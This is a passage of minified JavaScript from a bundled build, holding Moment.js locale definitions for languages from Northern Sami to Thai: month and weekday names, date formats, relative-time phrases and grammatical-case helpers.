strict";e.defineLocale("se",{months:"ođđajagemánnu_guovvamánnu_njukčamánnu_cuoŋománnu_miessemánnu_geassemánnu_suoidnemánnu_borgemánnu_čakčamánnu_golggotmánnu_skábmamánnu_juovlamánnu".split("_"),monthsShort:"ođđj_guov_njuk_cuo_mies_geas_suoi_borg_čakč_golg_skáb_juov".split("_"),weekdays:"sotnabeaivi_vuossárga_maŋŋebárga_gaskavahkku_duorastat_bearjadat_lávvardat".split("_"),weekdaysShort:"sotn_vuos_maŋ_gask_duor_bear_láv".split("_"),weekdaysMin:"s_v_m_g_d_b_L".split("_"),longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"DD.MM.YYYY",LL:"MMMM D. [b.] YYYY",LLL:"MMMM D. [b.] YYYY [ti.] HH:mm",LLLL:"dddd, MMMM D. [b.] YYYY [ti.] HH:mm"},calendar:{sameDay:"[otne ti] LT",nextDay:"[ihttin ti] LT",nextWeek:"dddd [ti] LT",lastDay:"[ikte ti] LT",lastWeek:"[ovddit] dddd [ti] LT",sameElse:"L"},relativeTime:{future:"%s geažes",past:"maŋit %s",s:"moadde sekunddat",ss:"%d sekunddat",m:"okta minuhta",mm:"%d minuhtat",h:"okta diimmu",hh:"%d diimmut",d:"okta beaivi",dd:"%d beaivvit",M:"okta mánnu",MM:"%d mánut",y:"okta jahki",yy:"%d jagit"},dayOfMonthOrdinalParse:/\d{1,2}\./,ordinal:"%d.",week:{dow:1,doy:4}})}(a(381))},124:function(e,t,a){!function(e){"use strict";e.defineLocale("si",{months:"ජනවාරි_පෙබරවාරි_මාර්තු_අප්‍රේල්_මැයි_ජූනි_ජූලි_අගෝස්තු_සැප්තැම්බර්_ඔක්තෝබර්_නොවැම්බර්_දෙසැම්බර්".split("_"),monthsShort:"ජන_පෙබ_මාර්_අප්_මැයි_ජූනි_ජූලි_අගෝ_සැප්_ඔක්_නොවැ_දෙසැ".split("_"),weekdays:"ඉරිදා_සඳුදා_අඟහරුවාදා_බදාදා_බ්‍රහස්පතින්දා_සිකුරාදා_සෙනසුරාදා".split("_"),weekdaysShort:"ඉරි_සඳු_අඟ_බදා_බ්‍රහ_සිකු_සෙන".split("_"),weekdaysMin:"ඉ_ස_අ_බ_බ්‍ර_සි_සෙ".split("_"),weekdaysParseExact:!0,longDateFormat:{LT:"a h:mm",LTS:"a h:mm:ss",L:"YYYY/MM/DD",LL:"YYYY MMMM D",LLL:"YYYY MMMM D, a h:mm",LLLL:"YYYY MMMM D [වැනි] dddd, a h:mm:ss"},calendar:{sameDay:"[අද] LT[ට]",nextDay:"[හෙට] LT[ට]",nextWeek:"dddd LT[ට]",lastDay:"[ඊයේ] LT[ට]",lastWeek:"[පසුගිය] dddd LT[ට]",sameElse:"L"},relativeTime:{future:"%sකින්",past:"%sකට පෙර",s:"තත්පර කිහිපය",ss:"තත්පර %d",m:"මිනිත්තුව",mm:"මිනිත්තු %d",h:"පැය",hh:"පැය %d",d:"දිනය",dd:"දින %d",M:"මාසය",MM:"මාස %d",y:"වසර",yy:"වසර %d"},dayOfMonthOrdinalParse:/\d{1,2} වැනි/,ordinal:function(e){return e+" වැනි"},meridiemParse:/පෙර වරු|පස් වරු|පෙ.ව|ප.ව./,isPM:function(e){return"ප.ව."===e||"පස් වරු"===e},meridiem:function(e,t,a){return e>11?a?"ප.ව.":"පස් වරු":a?"පෙ.ව.":"පෙර වරු"}})}(a(381))},4249:function(e,t,a){!function(e){"use strict";var t="január_február_marec_apríl_máj_jún_júl_august_september_október_november_december".split("_"),a="jan_feb_mar_apr_máj_jún_júl_aug_sep_okt_nov_dec".split("_");function n(e){return e>1&&e<5}function i(e,t,a,i){var r=e+" ";switch(a){case"s":return t||i?"pár sekúnd":"pár sekundami";case"ss":return t||i?r+(n(e)?"sekundy":"sekúnd"):r+"sekundami";case"m":return t?"minúta":i?"minútu":"minútou";case"mm":return t||i?r+(n(e)?"minúty":"minút"):r+"minútami";case"h":return t?"hodina":i?"hodinu":"hodinou";case"hh":return t||i?r+(n(e)?"hodiny":"hodín"):r+"hodinami";case"d":return t||i?"deň":"dňom";case"dd":return t||i?r+(n(e)?"dni":"dní"):r+"dňami";case"M":return t||i?"mesiac":"mesiacom";case"MM":return t||i?r+(n(e)?"mesiace":"mesiacov"):r+"mesiacmi";case"y":return t||i?"rok":"rokom";case"yy":return t||i?r+(n(e)?"roky":"rokov"):r+"rokmi"}}e.defineLocale("sk",{months:t,monthsShort:a,weekdays:"nedeľa_pondelok_utorok_streda_štvrtok_piatok_sobota".split("_"),weekdaysShort:"ne_po_ut_st_št_pi_so".split("_"),weekdaysMin:"ne_po_ut_st_št_pi_so".split("_"),longDateFormat:{LT:"H:mm",LTS:"H:mm:ss",L:"DD.MM.YYYY",LL:"D. MMMM YYYY",LLL:"D. MMMM YYYY H:mm",LLLL:"dddd D. MMMM YYYY H:mm"},calendar:{sameDay:"[dnes o] LT",nextDay:"[zajtra o] LT",nextWeek:function(){switch(this.day()){case 0:return"[v nedeľu o] LT";case 1:case 2:return"[v] dddd [o] LT";case 3:return"[v stredu o] LT";case 4:return"[vo štvrtok o] LT";case 5:return"[v piatok o] LT";case 6:return"[v sobotu o] LT"}},lastDay:"[včera o] LT",lastWeek:function(){switch(this.day()){case 0:return"[minulú nedeľu o] LT";case 1:case 2:return"[minulý] dddd [o] LT";case 3:return"[minulú stredu o] LT";case 4:case 5:return"[minulý] dddd [o] LT";case 6:return"[minulú sobotu o] LT"}},sameElse:"L"},relativeTime:{future:"za %s",past:"pred %s",s:i,ss:i,m:i,mm:i,h:i,hh:i,d:i,dd:i,M:i,MM:i,y:i,yy:i},dayOfMonthOrdinalParse:/\d{1,2}\./,ordinal:"%d.",week:{dow:1,doy:4}})}(a(381))},4985:function(e,t,a){!function(e){"use strict";function t(e,t,a,n){var i=e+" ";switch(a){case"s":return t||n?"nekaj sekund":"nekaj sekundami";case"ss":return i+=1===e?t?"sekundo":"sekundi":2===e?t||n?"sekundi":"sekundah":e<5?t||n?"sekunde":"sekundah":"sekund";case"m":return t?"ena minuta":"eno minuto";case"mm":return i+=1===e?t?"minuta":"minuto":2===e?t||n?"minuti":"minutama":e<5?t||n?"minute":"minutami":t||n?"minut":"minutami";case"h":return t?"ena ura":"eno uro";case"hh":return i+=1===e?t?"ura":"uro":2===e?t||n?"uri":"urama":e<5?t||n?"ure":"urami":t||n?"ur":"urami";case"d":return t||n?"en dan":"enim dnem";case"dd":return i+=1===e?t||n?"dan":"dnem":2===e?t||n?"dni":"dnevoma":t||n?"dni":"dnevi";case"M":return t||n?"en mesec":"enim mesecem";case"MM":return i+=1===e?t||n?"mesec":"mesecem":2===e?t||n?"meseca":"mesecema":e<5?t||n?"mesece":"meseci":t||n?"mesecev":"meseci";case"y":return t||n?"eno leto":"enim letom";case"yy":return i+=1===e?t||n?"leto":"letom":2===e?t||n?"leti":"letoma":e<5?t||n?"leta":"leti":t||n?"let":"leti"}}e.defineLocale("sl",{months:"januar_februar_marec_april_maj_junij_julij_avgust_september_oktober_november_december".split("_"),monthsShort:"jan._feb._mar._apr._maj._jun._jul._avg._sep._okt._nov._dec.".split("_"),monthsParseExact:!0,weekdays:"nedelja_ponedeljek_torek_sreda_četrtek_petek_sobota".split("_"),weekdaysShort:"ned._pon._tor._sre._čet._pet._sob.".split("_"),weekdaysMin:"ne_po_to_sr_če_pe_so".split("_"),weekdaysParseExact:!0,longDateFormat:{LT:"H:mm",LTS:"H:mm:ss",L:"DD. MM. YYYY",LL:"D. MMMM YYYY",LLL:"D. MMMM YYYY H:mm",LLLL:"dddd, D. MMMM YYYY H:mm"},calendar:{sameDay:"[danes ob] LT",nextDay:"[jutri ob] LT",nextWeek:function(){switch(this.day()){case 0:return"[v] [nedeljo] [ob] LT";case 3:return"[v] [sredo] [ob] LT";case 6:return"[v] [soboto] [ob] LT";case 1:case 2:case 4:case 5:return"[v] dddd [ob] LT"}},lastDay:"[včeraj ob] LT",lastWeek:function(){switch(this.day()){case 0:return"[prejšnjo] [nedeljo] [ob] LT";case 3:return"[prejšnjo] [sredo] [ob] LT";case 6:return"[prejšnjo] [soboto] [ob] LT";case 1:case 2:case 4:case 5:return"[prejšnji] dddd [ob] LT"}},sameElse:"L"},relativeTime:{future:"čez %s",past:"pred %s",s:t,ss:t,m:t,mm:t,h:t,hh:t,d:t,dd:t,M:t,MM:t,y:t,yy:t},dayOfMonthOrdinalParse:/\d{1,2}\./,ordinal:"%d.",week:{dow:1,doy:7}})}(a(381))},1104:function(e,t,a){!function(e){"use strict";e.defineLocale("sq",{months:"Janar_Shkurt_Mars_Prill_Maj_Qershor_Korrik_Gusht_Shtator_Tetor_Nëntor_Dhjetor".split("_"),monthsShort:"Jan_Shk_Mar_Pri_Maj_Qer_Kor_Gus_Sht_Tet_Nën_Dhj".split("_"),weekdays:"E Diel_E Hënë_E Martë_E Mërkurë_E Enjte_E Premte_E Shtunë".split("_"),weekdaysShort:"Die_Hën_Mar_Mër_Enj_Pre_Sht".split("_"),weekdaysMin:"D_H_Ma_Më_E_P_Sh".split("_"),weekdaysParseExact:!0,meridiemParse:/PD|MD/,isPM:function(e){return"M"===e.charAt(0)},meridiem:function(e,t,a){return e<12?"PD":"MD"},longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"DD/MM/YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY HH:mm",LLLL:"dddd, D MMMM YYYY HH:mm"},calendar:{sameDay:"[Sot në] LT",nextDay:"[Nesër në] LT",nextWeek:"dddd [në] LT",lastDay:"[Dje në] LT",lastWeek:"dddd [e kaluar në] LT",sameElse:"L"},relativeTime:{future:"në %s",past:"%s më parë",s:"disa sekonda",ss:"%d sekonda",m:"një minutë",mm:"%d minuta",h:"një orë",hh:"%d orë",d:"një ditë",dd:"%d ditë",M:"një muaj",MM:"%d muaj",y:"një vit",yy:"%d vite"},dayOfMonthOrdinalParse:/\d{1,2}\./,ordinal:"%d.",week:{dow:1,doy:4}})}(a(381))},9915:function(e,t,a){!function(e){"use strict";var t={words:{ss:["секунда","секунде","секунди"],m:["један минут","једне минуте"],mm:["минут","минуте","минута"],h:["један сат","једног сата"],hh:["сат","сата","сати"],dd:["дан","дана","дана"],MM:["месец","месеца","месеци"],yy:["година","године","година"]},correctGrammaticalCase:function(e,t){return 1===e?t[0]:e>=2&&e<=4?t[1]:t[2]},translate:function(e,a,n){var i=t.words[n];return 1===n.length?a?i[0]:i[1]:e+" "+t.correctGrammaticalCase(e,i)}};e.defineLocale("sr-cyrl",{months:"јануар_фебруар_март_април_мај_јун_јул_август_септембар_октобар_новембар_децембар".split("_"),monthsShort:"јан._феб._мар._апр._мај_јун_јул_авг._сеп._окт._нов._дец.".split("_"),monthsParseExact:!0,weekdays:"недеља_понедељак_уторак_среда_четвртак_петак_субота".split("_"),weekdaysShort:"нед._пон._уто._сре._чет._пет._суб.".split("_"),weekdaysMin:"не_по_ут_ср_че_пе_су".split("_"),weekdaysParseExact:!0,longDateFormat:{LT:"H:mm",LTS:"H:mm:ss",L:"D. M. YYYY.",LL:"D. MMMM YYYY.",LLL:"D. MMMM YYYY. H:mm",LLLL:"dddd, D. MMMM YYYY. H:mm"},calendar:{sameDay:"[данас у] LT",nextDay:"[сутра у] LT",nextWeek:function(){switch(this.day()){case 0:return"[у] [недељу] [у] LT";case 3:return"[у] [среду] [у] LT";case 6:return"[у] [суботу] [у] LT";case 1:case 2:case 4:case 5:return"[у] dddd [у] LT"}},lastDay:"[јуче у] LT",lastWeek:function(){return["[прошле] [недеље] [у] LT","[прошлог] [понедељка] [у] LT","[прошлог] [уторка] [у] LT","[прошле] [среде] [у] LT","[прошлог] [четвртка] [у] LT","[прошлог] [петка] [у] LT","[прошле] [суботе] [у] LT"][this.day()]},sameElse:"L"},relativeTime:{future:"за %s",past:"пре %s",s:"неколико секунди",ss:t.translate,m:t.translate,mm:t.translate,h:t.translate,hh:t.translate,d:"дан",dd:t.translate,M:"месец",MM:t.translate,y:"годину",yy:t.translate},dayOfMonthOrdinalParse:/\d{1,2}\./,ordinal:"%d.",week:{dow:1,doy:7}})}(a(381))},9131:function(e,t,a){!function(e){"use strict";var t={words:{ss:["sekunda","sekunde","sekundi"],m:["jedan minut","jedne minute"],mm:["minut","minute","minuta"],h:["jedan sat","jednog sata"],hh:["sat","sata","sati"],dd:["dan","dana","dana"],MM:["mesec","meseca","meseci"],yy:["godina","godine","godina"]},correctGrammaticalCase:function(e,t){return 1===e?t[0]:e>=2&&e<=4?t[1]:t[2]},translate:function(e,a,n){var i=t.words[n];return 1===n.length?a?i[0]:i[1]:e+" "+t.correctGrammaticalCase(e,i)}};e.defineLocale("sr",{months:"januar_februar_mart_april_maj_jun_jul_avgust_septembar_oktobar_novembar_decembar".split("_"),monthsShort:"jan._feb._mar._apr._maj_jun_jul_avg._sep._okt._nov._dec.".split("_"),monthsParseExact:!0,weekdays:"nedelja_ponedeljak_utorak_sreda_četvrtak_petak_subota".split("_"),weekdaysShort:"ned._pon._uto._sre._čet._pet._sub.".split("_"),weekdaysMin:"ne_po_ut_sr_če_pe_su".split("_"),weekdaysParseExact:!0,longDateFormat:{LT:"H:mm",LTS:"H:mm:ss",L:"D. M. YYYY.",LL:"D. MMMM YYYY.",LLL:"D. MMMM YYYY. H:mm",LLLL:"dddd, D. MMMM YYYY. H:mm"},calendar:{sameDay:"[danas u] LT",nextDay:"[sutra u] LT",nextWeek:function(){switch(this.day()){case 0:return"[u] [nedelju] [u] LT";case 3:return"[u] [sredu] [u] LT";case 6:return"[u] [subotu] [u] LT";case 1:case 2:case 4:case 5:return"[u] dddd [u] LT"}},lastDay:"[juče u] LT",lastWeek:function(){return["[prošle] [nedelje] [u] LT","[prošlog] [ponedeljka] [u] LT","[prošlog] [utorka] [u] LT","[prošle] [srede] [u] LT","[prošlog] [četvrtka] [u] LT","[prošlog] [petka] [u] LT","[prošle] [subote] [u] LT"][this.day()]},sameElse:"L"},relativeTime:{future:"za %s",past:"pre %s",s:"nekoliko sekundi",ss:t.translate,m:t.translate,mm:t.translate,h:t.translate,hh:t.translate,d:"dan",dd:t.translate,M:"mesec",MM:t.translate,y:"godinu",yy:t.translate},dayOfMonthOrdinalParse:/\d{1,2}\./,ordinal:"%d.",week:{dow:1,doy:7}})}(a(381))},5893:function(e,t,a){!function(e){"use strict";e.defineLocale("ss",{months:"Bhimbidvwane_Indlovana_Indlov'lenkhulu_Mabasa_Inkhwekhweti_Inhlaba_Kholwane_Ingci_Inyoni_Imphala_Lweti_Ingongoni".split("_"),monthsShort:"Bhi_Ina_Inu_Mab_Ink_Inh_Kho_Igc_Iny_Imp_Lwe_Igo".split("_"),weekdays:"Lisontfo_Umsombuluko_Lesibili_Lesitsatfu_Lesine_Lesihlanu_Umgcibelo".split("_"),weekdaysShort:"Lis_Umb_Lsb_Les_Lsi_Lsh_Umg".split("_"),weekdaysMin:"Li_Us_Lb_Lt_Ls_Lh_Ug".split("_"),weekdaysParseExact:!0,longDateFormat:{LT:"h:mm A",LTS:"h:mm:ss A",L:"DD/MM/YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY h:mm A",LLLL:"dddd, D MMMM YYYY h:mm A"},calendar:{sameDay:"[Namuhla nga] LT",nextDay:"[Kusasa nga] LT",nextWeek:"dddd [nga] LT",lastDay:"[Itolo nga] LT",lastWeek:"dddd [leliphelile] [nga] LT",sameElse:"L"},relativeTime:{future:"nga %s",past:"wenteka nga %s",s:"emizuzwana lomcane",ss:"%d mzuzwana",m:"umzuzu",mm:"%d emizuzu",h:"lihora",hh:"%d emahora",d:"lilanga",dd:"%d emalanga",M:"inyanga",MM:"%d tinyanga",y:"umnyaka",yy:"%d iminyaka"},meridiemParse:/ekuseni|emini|entsambama|ebusuku/,meridiem:function(e,t,a){return e<11?"ekuseni":e<15?"emini":e<19?"entsambama":"ebusuku"},meridiemHour:function(e,t){return 12===e&&(e=0),"ekuseni"===t?e:"emini"===t?e>=11?e:e+12:"entsambama"===t||"ebusuku"===t?0===e?0:e+12:void 0},dayOfMonthOrdinalParse:/\d{1,2}/,ordinal:"%d",week:{dow:1,doy:4}})}(a(381))},8760:function(e,t,a){!function(e){"use strict";e.defineLocale("sv",{months:"januari_februari_mars_april_maj_juni_juli_augusti_september_oktober_november_december".split("_"),monthsShort:"jan_feb_mar_apr_maj_jun_jul_aug_sep_okt_nov_dec".split("_"),weekdays:"söndag_måndag_tisdag_onsdag_torsdag_fredag_lördag".split("_"),weekdaysShort:"sön_mån_tis_ons_tor_fre_lör".split("_"),weekdaysMin:"sö_må_ti_on_to_fr_lö".split("_"),longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"YYYY-MM-DD",LL:"D MMMM YYYY",LLL:"D MMMM YYYY [kl.] HH:mm",LLLL:"dddd D MMMM YYYY [kl.] HH:mm",lll:"D MMM YYYY HH:mm",llll:"ddd D MMM YYYY HH:mm"},calendar:{sameDay:"[Idag] LT",nextDay:"[Imorgon] LT",lastDay:"[Igår] LT",nextWeek:"[På] dddd LT",lastWeek:"[I] dddd[s] LT",sameElse:"L"},relativeTime:{future:"om %s",past:"för %s sedan",s:"några sekunder",ss:"%d sekunder",m:"en minut",mm:"%d minuter",h:"en timme",hh:"%d timmar",d:"en dag",dd:"%d dagar",M:"en månad",MM:"%d månader",y:"ett år",yy:"%d år"},dayOfMonthOrdinalParse:/\d{1,2}(\:e|\:a)/,ordinal:function(e){var t=e%10;return e+(1==~~(e%100/10)?":e":1===t||2===t?":a":":e")},week:{dow:1,doy:4}})}(a(381))},1172:function(e,t,a){!function(e){"use strict";e.defineLocale("sw",{months:"Januari_Februari_Machi_Aprili_Mei_Juni_Julai_Agosti_Septemba_Oktoba_Novemba_Desemba".split("_"),monthsShort:"Jan_Feb_Mac_Apr_Mei_Jun_Jul_Ago_Sep_Okt_Nov_Des".split("_"),weekdays:"Jumapili_Jumatatu_Jumanne_Jumatano_Alhamisi_Ijumaa_Jumamosi".split("_"),weekdaysShort:"Jpl_Jtat_Jnne_Jtan_Alh_Ijm_Jmos".split("_"),weekdaysMin:"J2_J3_J4_J5_Al_Ij_J1".split("_"),weekdaysParseExact:!0,longDateFormat:{LT:"hh:mm A",LTS:"HH:mm:ss",L:"DD.MM.YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY HH:mm",LLLL:"dddd, D MMMM YYYY HH:mm"},calendar:{sameDay:"[leo saa] LT",nextDay:"[kesho saa] LT",nextWeek:"[wiki ijayo] dddd [saat] LT",lastDay:"[jana] LT",lastWeek:"[wiki iliyopita] dddd [saat] LT",sameElse:"L"},relativeTime:{future:"%s baadaye",past:"tokea %s",s:"hivi punde",ss:"sekunde %d",m:"dakika moja",mm:"dakika %d",h:"saa limoja",hh:"masaa %d",d:"siku moja",dd:"siku %d",M:"mwezi mmoja",MM:"miezi %d",y:"mwaka mmoja",yy:"miaka %d"},week:{dow:1,doy:7}})}(a(381))},7333:function(e,t,a){!function(e){"use strict";var t={1:"௧",2:"௨",3:"௩",4:"௪",5:"௫",6:"௬",7:"௭",8:"௮",9:"௯",0:"௦"},a={"௧":"1","௨":"2","௩":"3","௪":"4","௫":"5","௬":"6","௭":"7","௮":"8","௯":"9","௦":"0"};e.defineLocale("ta",{months:"ஜனவரி_பிப்ரவரி_மார்ச்_ஏப்ரல்_மே_ஜூன்_ஜூலை_ஆகஸ்ட்_செப்டெம்பர்_அக்டோபர்_நவம்பர்_டிசம்பர்".split("_"),monthsShort:"ஜனவரி_பிப்ரவரி_மார்ச்_ஏப்ரல்_மே_ஜூன்_ஜூலை_ஆகஸ்ட்_செப்டெம்பர்_அக்டோபர்_நவம்பர்_டிசம்பர்".split("_"),weekdays:"ஞாயிற்றுக்கிழமை_திங்கட்கிழமை_செவ்வாய்கிழமை_புதன்கிழமை_வியாழக்கிழமை_வெள்ளிக்கிழமை_சனிக்கிழமை".split("_"),weekdaysShort:"ஞாயிறு_திங்கள்_செவ்வாய்_புதன்_வியாழன்_வெள்ளி_சனி".split("_"),weekdaysMin:"ஞா_தி_செ_பு_வி_வெ_ச".split("_"),longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"DD/MM/YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY, HH:mm",LLLL:"dddd, D MMMM YYYY, HH:mm"},calendar:{sameDay:"[இன்று] LT",nextDay:"[நாளை] LT",nextWeek:"dddd, LT",lastDay:"[நேற்று] LT",lastWeek:"[கடந்த வாரம்] dddd, LT",sameElse:"L"},relativeTime:{future:"%s இல்",past:"%s முன்",s:"ஒரு சில விநாடிகள்",ss:"%d விநாடிகள்",m:"ஒரு நிமிடம்",mm:"%d நிமிடங்கள்",h:"ஒரு மணி நேரம்",hh:"%d மணி நேரம்",d:"ஒரு நாள்",dd:"%d நாட்கள்",M:"ஒரு மாதம்",MM:"%d மாதங்கள்",y:"ஒரு வருடம்",yy:"%d ஆண்டுகள்"},dayOfMonthOrdinalParse:/\d{1,2}வது/,ordinal:function(e){return e+"வது"},preparse:function(e){return e.replace(/[௧௨௩௪௫௬௭௮௯௦]/g,(function(e){return a[e]}))},postformat:function(e){return e.replace(/\d/g,(function(e){return t[e]}))},meridiemParse:/யாமம்|வைகறை|காலை|நண்பகல்|எற்பாடு|மாலை/,meridiem:function(e,t,a){return e<2?" யாமம்":e<6?" வைகறை":e<10?" காலை":e<14?" நண்பகல்":e<18?" எற்பாடு":e<22?" மாலை":" யாமம்"},meridiemHour:function(e,t){return 12===e&&(e=0),"யாமம்"===t?e<2?e:e+12:"வைகறை"===t||"காலை"===t||"நண்பகல்"===t&&e>=10?e:e+12},week:{dow:0,doy:6}})}(a(381))},3110:function(e,t,a){!function(e){"use strict";e.defineLocale("te",{months:"జనవరి_ఫిబ్రవరి_మార్చి_ఏప్రిల్_మే_జూన్_జులై_ఆగస్టు_సెప్టెంబర్_అక్టోబర్_నవంబర్_డిసెంబర్".split("_"),monthsShort:"జన._ఫిబ్ర._మార్చి_ఏప్రి._మే_జూన్_జులై_ఆగ._సెప్._అక్టో._నవ._డిసె.".split("_"),monthsParseExact:!0,weekdays:"ఆదివారం_సోమవారం_మంగళవారం_బుధవారం_గురువారం_శుక్రవారం_శనివారం".split("_"),weekdaysShort:"ఆది_సోమ_మంగళ_బుధ_గురు_శుక్ర_శని".split("_"),weekdaysMin:"ఆ_సో_మం_బు_గు_శు_శ".split("_"),longDateFormat:{LT:"A h:mm",LTS:"A h:mm:ss",L:"DD/MM/YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY, A h:mm",LLLL:"dddd, D MMMM YYYY, A h:mm"},calendar:{sameDay:"[నేడు] LT",nextDay:"[రేపు] LT",nextWeek:"dddd, LT",lastDay:"[నిన్న] LT",lastWeek:"[గత] dddd, LT",sameElse:"L"},relativeTime:{future:"%s లో",past:"%s క్రితం",s:"కొన్ని క్షణాలు",ss:"%d సెకన్లు",m:"ఒక నిమిషం",mm:"%d నిమిషాలు",h:"ఒక గంట",hh:"%d గంటలు",d:"ఒక రోజు",dd:"%d రోజులు",M:"ఒక నెల",MM:"%d నెలలు",y:"ఒక సంవత్సరం",yy:"%d సంవత్సరాలు"},dayOfMonthOrdinalParse:/\d{1,2}వ/,ordinal:"%dవ",meridiemParse:/రాత్రి|ఉదయం|మధ్యాహ్నం|సాయంత్రం/,meridiemHour:function(e,t){return 12===e&&(e=0),"రాత్రి"===t?e<4?e:e+12:"ఉదయం"===t?e:"మధ్యాహ్నం"===t?e>=10?e:e+12:"సాయంత్రం"===t?e+12:void 0},meridiem:function(e,t,a){return e<4?"రాత్రి":e<10?"ఉదయం":e<17?"మధ్యాహ్నం":e<20?"సాయంత్రం":"రాత్రి"},week:{dow:0,doy:6}})}(a(381))},2095:function(e,t,a){!function(e){"use strict";e.defineLocale("tet",{months:"Janeiru_Fevereiru_Marsu_Abril_Maiu_Juñu_Jullu_Agustu_Setembru_Outubru_Novembru_Dezembru".split("_"),monthsShort:"Jan_Fev_Mar_Abr_Mai_Jun_Jul_Ago_Set_Out_Nov_Dez".split("_"),weekdays:"Domingu_Segunda_Tersa_Kuarta_Kinta_Sesta_Sabadu".split("_"),weekdaysShort:"Dom_Seg_Ters_Kua_Kint_Sest_Sab".split("_"),weekdaysMin:"Do_Seg_Te_Ku_Ki_Ses_Sa".split("_"),longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"DD/MM/YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY HH:mm",LLLL:"dddd, D MMMM YYYY HH:mm"},calendar:{sameDay:"[Ohin iha] LT",nextDay:"[Aban iha] LT",nextWeek:"dddd [iha] LT",lastDay:"[Horiseik iha] LT",lastWeek:"dddd [semana kotuk] [iha] LT",sameElse:"L"},relativeTime:{future:"iha %s",past:"%s liuba",s:"segundu balun",ss:"segundu %d",m:"minutu ida",mm:"minutu %d",h:"oras ida",hh:"oras %d",d:"loron ida",dd:"loron %d",M:"fulan ida",MM:"fulan %d",y:"tinan ida",yy:"tinan %d"},dayOfMonthOrdinalParse:/\d{1,2}(st|nd|rd|th)/,ordinal:function(e){var t=e%10;return e+(1==~~(e%100/10)?"th":1===t?"st":2===t?"nd":3===t?"rd":"th")},week:{dow:1,doy:4}})}(a(381))},7321:function(e,t,a){!function(e){"use strict";var t={0:"-ум",1:"-ум",2:"-юм",3:"-юм",4:"-ум",5:"-ум",6:"-ум",7:"-ум",8:"-ум",9:"-ум",10:"-ум",12:"-ум",13:"-ум",20:"-ум",30:"-юм",40:"-ум",50:"-ум",60:"-ум",70:"-ум",80:"-ум",90:"-ум",100:"-ум"};e.defineLocale("tg",{months:{format:"январи_феврали_марти_апрели_майи_июни_июли_августи_сентябри_октябри_ноябри_декабри".split("_"),standalone:"январ_феврал_март_апрел_май_июн_июл_август_сентябр_октябр_ноябр_декабр".split("_")},monthsShort:"янв_фев_мар_апр_май_июн_июл_авг_сен_окт_ноя_дек".split("_"),weekdays:"якшанбе_душанбе_сешанбе_чоршанбе_панҷшанбе_ҷумъа_шанбе".split("_"),weekdaysShort:"яшб_дшб_сшб_чшб_пшб_ҷум_шнб".split("_"),weekdaysMin:"яш_дш_сш_чш_пш_ҷм_шб".split("_"),longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"DD.MM.YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY HH:mm",LLLL:"dddd, D MMMM YYYY HH:mm"},calendar:{sameDay:"[Имрӯз соати] LT",nextDay:"[Фардо соати] LT",lastDay:"[Дирӯз соати] LT",nextWeek:"dddd[и] [ҳафтаи оянда соати] LT",lastWeek:"dddd[и] [ҳафтаи гузашта соати] LT",sameElse:"L"},relativeTime:{future:"баъди %s",past:"%s пеш",s:"якчанд сония",m:"як дақиқа",mm:"%d дақиқа",h:"як соат",hh:"%d соат",d:"як рӯз",dd:"%d рӯз",M:"як моҳ",MM:"%d моҳ",y:"як сол",yy:"%d сол"},meridiemParse:/шаб|субҳ|рӯз|бегоҳ/,meridiemHour:function(e,t){return 12===e&&(e=0),"шаб"===t?e<4?e:e+12:"субҳ"===t?e:"рӯз"===t?e>=11?e:e+12:"бегоҳ"===t?e+12:void 0},meridiem:function(e,t,a){return e<4?"шаб":e<11?"субҳ":e<16?"рӯз":e<19?"бегоҳ":"шаб"},dayOfMonthOrdinalParse:/\d{1,2}-(ум|юм)/,ordinal:function(e){var a=e%10,n=e>=100?100:null;return e+(t[e]||t[a]||t[n])},week:{dow:1,doy:7}})}(a(381))},9041:function(e,t,a){!function(e){"use strict";e.defineLocale("th",{months:"มกราคม_กุมภาพันธ์_มีนาคม_เมษายน_พฤษภาคม_มิถุนายน_กรกฎาคม_สิงหาคม_กันยายน_ตุลาคม_พฤศจิกายน_ธันวาคม".split("_"),monthsShort:"ม.ค._ก.พ._มี.ค._เม.ย._พ.ค._มิ.ย._ก.ค._ส.ค._ก.ย._ต.ค._พ.ย._ธ.ค.".split("_"),monthsParseExact:!0,weekdays:"อาทิตย์_จันทร์_อังคาร_พุธ_พฤหัสบดี_ศุกร์_เสาร์".split("_"),weekdaysShort:"อาทิตย์_จันทร์_อังคาร_พุธ_พฤหัส_ศุกร์_เสาร์".split("_"),weekdaysMin:"อา._จ._อ._พ._พฤ._ศ._ส.".split("_"),weekdaysParseExact:!0,longDateFormat:{LT:"H:mm",LTS:"H:mm:ss",L:"DD/MM/YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY เวลา H:mm",LLLL:"วันddddที่ D MMMM YYYY เวลา H:mm"},meridiemParse:/ก่อนเที่ยง|หลังเที่ยง/,isPM:function(e){return"หลังเที่ยง"===e},meridiem:function(e,t,a){return e<12?"ก่อนเที่ยง":"หลังเที่ยง"},calendar:{sameDay:"[วันนี้ เวลา] LT",nextDay:"[พรุ่งนี้ เวลา] LT",nextWeek:"dddd[หน้า เวลา] LT",lastDay:"[เมื่อวานนี้ เวลา] LT",lastWeek:"[วัน]dddd[ที่แล้ว เวลา] LT",sameElse:"L"},relativeTime:{future:"อีก %s",past:"%sที่แล้ว",s:"ไม่กี่วินาที",ss:"%d วินาที",m:"1 นาที",mm:"%d นาที",h:"1 ชั่วโมง",hh:"%d ชั่วโมง",d:"1 วัน",dd:"%d วัน",w:"1 สัปดาห์",ww:"%d สัปดาห์",M:"1 เดือน",MM:"%d เดือน",y:"1 ปี",yy:"%d ปี"}})}(a(381))},9005:function(e,t,a){!function(e){"use strict";var 